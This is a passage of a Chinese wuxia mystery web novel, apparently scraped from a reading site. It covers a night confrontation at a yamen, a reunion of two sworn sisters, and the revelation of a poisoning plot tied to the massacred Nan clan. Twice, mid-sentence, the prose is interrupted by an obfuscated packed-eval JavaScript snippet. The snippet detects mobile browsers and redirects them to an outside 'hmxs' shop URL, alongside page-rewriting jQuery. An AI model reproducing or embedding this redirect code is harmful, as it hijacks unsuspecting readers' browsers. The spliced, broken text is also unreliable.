“嗤啦”，伤口由鞭扫裂，鲜血立时洇透衣袖。岑立雪持剑之手一颤，蛇骨鞭如影随形，眼看就要缠上她手腕夺剑。 易枝春急急唤了声“惊寒”，岑立雪不应，强忍剧痛，并指疾点肩头穴道。麻木之际，她往后一仰，险之又险令那鞭梢擦小臂而过。 衣襟却也豁开些许，岑立雪怀里半边玉颠荡而出。色如凝脂，于昏蒙月色中，蓦地一闪。 谁料攻势正炽蛇骨鞭就此僵停，持鞭人眼疾手快，探手一握，将那半边玉捞入掌心，旋即厉声喝问：“你是什么人？” “玉怎么在你这里，阿轻她人呢？” 这一问似曾相识，岑立雪思及彼时柳尚轻见玉之态，心中豁然开朗。是了，此人身手远非寻常受雇杀手可比，方才那不顾一切直取牢门的架势，与其说是来灭口…… 不如说是为救人。 岑立雪收剑入鞘，正欲开口，追击刺客的王盟一行人却已闻声而来。火光涌入窄廊，众衙役长刀出鞘，惊疑不定，团团围了蒙面持鞭人。 “岑掌柜！这是……”王盟气喘吁吁，瞧着眼前僵持局面，一时摸不着头脑。 岑立雪抬手，止住众衙役上前拿人动作。她含笑望了眼持鞭人，缓声道：“自己人，捕头稍安。” 持鞭人环顾周遭半晌，抬手牵住面巾下角，猛地向下一扯。 火把毕剥，映亮张俊俏面孔。皮肤是常经日晒雨淋的麦色，鼻梁高挺，薄唇紧抿，锐利眉眼间盛满焦灼。 王盟瞧着她，一拍脑门：“苏当家，怎么是您？” 苏当家？岑立雪心念一动，货郎陈义曾言，窜天蛇死后，码头群龙无首。是新来的苏当家四两拨千斤，将众人收拾得服服帖帖。 原来是她。 “苏当家深夜造访，不走正门，”岑立雪不欲绕弯子，“可是为了柳姑娘？” 苏铮一味质问：“玉在你手，阿轻何在？” “柳姑娘尚在府衙，安然无恙。”岑立雪平和以应，苏铮仍是满眼戒备。 双方僵持之际，一道身影自檐上轻盈落下，正是去而复返的陶知苍：“姐姐。方才我出了府衙，易大家追来，言此事别有内情，要我往侧院去寻柳姑娘。” “苏当家放心，柳姑娘一切安好，”陶知苍从衣袋里取了素笺，“此为柳姑娘亲笔，你一看便知。” 苏铮劈手夺过，就着火光急阅。纸上寥寥数言，字迹清秀熟悉：“阿铮，莫要硬闯，玉主可信。” 抚一抚墨迹，苏铮眼底杀意尽消，她长长吐出一口浊气，抬眼再望岑立雪，嗓音干涩：“阿轻，她真的没事？” “毫发无伤，只是心中记挂，”易枝春姗姗来迟，立在岑立雪身后，朝苏铮拱手一礼，“苏当家，此处非叙话之地。柳姑娘就在侧院，你可愿随我等进去见她？” 苏铮毫不犹豫：“带路。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002303|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>王盟却有些急了，局促不安走上前来：“易大家，这不合规矩啊。柳尚轻乃重犯，岂是说见就见的？况且，苏当家方才，可是实打实地闯了衙门。” “捕头，苏当家与柳姑娘乃是故旧。此来实为确认安危，其情可悯。眼下境况特殊，柳姑娘安危关乎旧案，多一位知情人，便多一则线索。” “方才误会一场，何况苏当家也未伤及衙役弟兄。不如行个方便，我与岑掌柜作保，只见一面，片刻即出，绝无他事。”易枝春言辞恳切，又亮了知府手令，王盟却仍摇摆不定。 岑立雪适时开口：“王捕头，规矩是死的，人是活的。苏当家是码头新主事，往后泮安水路安宁，少不得要与府衙打交道。今日结个善缘，来日也好说话。” 话说到这份上，软硬兼施，情理利皆摆了出来。王盟看看岑掌柜，又瞧瞧那位收了鞭子依旧气势迫人的苏当家，终于一跺脚：“罢了，左右脑袋已拴在裤腰上，我就再信您与易大家一回。” “不过，丑话说在前头，只许一炷香，我带兄弟们在院外守着，万万不能久留！” “多谢捕头通融。”岑立雪抱拳。 王盟领着众衙役开道，推开侧院门，放岑易陶苏四人进去，自己则带人牢牢守在了外头。 * 侧院房里，灯火昏黄。柳尚轻独自坐在榻上，听得门响，忙惶然抬头。 瞥见疾步迈进来的苏铮，柳尚轻猛地站起身，嘴唇抖了抖，却怎的也讲不出一句话来。苏铮周身锋锐，亦在二人目光相接刹那，碎得无声无息。 岑立雪三人静静退至门边，将这一方狭小屋舍，留给了这对久别重逢的挚友。 “阿轻，”苏铮哑得厉害，“是我没用，找了这么久，到底还是让你一人……” “不怪你，阿铮，”柳尚轻哽咽得不成调子，眼里蓄满泪水，到底滚落颊边，“是我咎由自取。” 苏铮箭步上前，双手紧紧握上柳尚轻单薄肩膀，又快又急道：“告诉我，到底出了什么事？郑三死便死了，你何苦把事情闹到这般田地？” “绣娘杀夫，化尸藏骨，你可知此事如何沸沸扬扬？明明多的是灵便路数叫他消失，为何要选这样惹眼的法子？” 柳尚轻忽然弯了弯眼眉，她抹一把眼泪，笑得情真意切：“若不把此事闹到满城风雨……阿铮，我要等到几时，才能再见你一面？” 苏铮愕然：“只为引我现身？阿轻，万一我还没找来，官府就先定了你的罪……” “我顾不了那么多了！”柳尚轻抬高嗓音，捎着孤注一掷的凄然，“自少时离散，我在泮安等了太久，也找了太久……阿铮，你知道么，我没有时间了。” 听得此言，岑立雪皱起眉，苏铮更是如遭雷击，面上血色褪尽：“什么叫‘没有时间’？阿轻，你把话说清楚！” 柳尚轻却似用尽气力，只垂了眼帘倚上苏铮肩头，潸潸然不肯再言。 23.绣楼枯骨（十） 揩去泪水，柳尚轻由苏铮扶至榻边坐下，到底还是凿开了心头冰层，让陈年往事淌了出来。 少时，她常随师尊赴南洋采买药材，苏铮则跟从母亲行船旅居。二人码头相逢，因着年龄相仿性子投契，便击掌为誓，结作异姓姊妹，约定年年相会。 玉石是苏铮淘来，柳尚轻寻了匠人从中一剖为二。二人各执一半，权作信物。 “师尊与南氏有旧，是以那年得了消息便匆促赶回泮安。我走得急，没能同阿铮再碰一面，谁承想一别至此，”柳尚轻握上苏铮的手，“歹人下手极其阴狠，南氏上下无人生还。师尊悲恸欲绝，誓要为挚友讨个公道，然她奔走查访月余，也遭了毒手。” “我侥幸逃脱，躲往外地。可师尊死状夜夜入梦……我哪里过得了这浑噩日子。” “柳姑娘便回了泮安？”岑立雪轻声问。 柳尚轻颔首，满眼自嘲：“起先谨小慎微，只敢在暗处打听。后来，我遇上郑三，他自称南氏远房子侄，亦想查明真相，为族人报仇。我便应了他假作夫妻，相携暗中查访。” 静立旁侧的易枝春忽然开口：“南氏家风甚严，断无这般混账子侄流落在外。” “说得是，”柳尚轻神色森冷，“成婚之初，郑三装得同仇敌忾处处体贴，不过半年便原形毕露，酗酒滥赌，将家中积蓄挥霍一空。我觉出不对，试探追问南氏旧事，他支支吾吾，屡屡顾左右而言他，连南府有几进院子，主母姓甚名谁都讲不清楚。” 苏铮牙关咬得咯咯作响，臂膊颤抖，柳尚轻揽了她，复又叹了口气：“后来他醉后呓语，我零散听得‘祖籍’云云，又趁他酒意套了话，方知他同南氏毫无干系，先前那番说辞尽是歹人所教。” “且歹人早命郑三在我餐食下了牵机引，此毒性极阴寒，入体如丝，侵蚀经脉脏腑无声无息。待我觉察，已是根基俱损，药石罔效了。” “药石罔效”一出，苏铮抬手狠狠抹了把眼睛，可泪水却似决堤，如何也止不住。陶知苍亦是听得双眼泛红，轻轻别过了头。 岑立雪面上未见大悲大恸，只垂在身侧的手悄然攥紧。她迟疑片刻，终是朝柳尚轻道：“敢问柳姑娘，可曾见过螺状伤？” “见过，”柳尚轻嗓音沙哑，阖了双眼，似又坠入昔年噩耗，“就在师尊颈侧。” “立雪亦然，”岑立雪声如金石，铮然投入沉沉死水。她叹了口气，迎上柳尚轻满眼惊疑，“师长同门，皆亡于此伤。” 室内陡然一静，烛火劈啪，映得岑立雪面颊明明暗暗。见柳尚轻嘴唇颤了颤，岑立雪再道，一字一顿：“只要立雪一日立于这天地，凶手一刻未伏诛，此恨便不算终了。” “惊寒姐姐的事，就是我的事。”陶知苍抱臂倚着门框，眼圈仍红着，眸光却已冷锐如刀。 苏铮闻言，也站起身朝岑立雪抱拳：“岑掌柜既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008997|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与阿轻同路，水里陆上，但有驱使，苏某绝无二话。” “诸位……”柳尚轻泪眼朦胧，千言万语堵在喉头，翻腾如沸。 沉默良久的易枝春走上前来，每一步都似丈量挣扎隐忍，他目光落上柳尚轻枯瘦手腕，青紫依稀可见，自是毒性侵蚀明证：“牵机引如丝侵脉，缠绵阴毒，是以医者往往断作绝症。” “然南氏祖传医书录有一古方残篇，提及‘以阳火之极，冲阴寒之枢，或可争命’。柳姑娘，此毒并非全无指望。” “南氏医书从不外传，”柳尚轻浑身一震，难以置信地望向他，“你怎会……” 易枝春抬起眼，望进岑立雪眼底，自她处汲取了些许坦荡，方道：“易某本姓南。昔年于边地义诊未归，阴差阳错躲过祸事。后得友人相助，辗转入了云韶府，虽丝竹在侧，亦一日不忘寻觅真凶。” “然歹人极尽狡猾，长久探听不得其踪，近日与惊寒联手，方才窥见一线曙光。” 往日猜测得了印证，岑立雪晃一晃神。她早知易枝春与南氏关系匪浅，如今亲耳听闻，长久悬在心头的石头就此落入深潭，激起泠泠回响。 “话已言明，”她眸光清亮如星，照过柳尚轻枯槁面容、苏铮紧绷臂膊并陶知苍抿起的唇，又同易枝春视线磕在一处，“纵前路漫漫暗暗——” 无锋剑沉甸甸背在身后，岑立雪朝众人一拱手：“风浪同担，生死共赴。”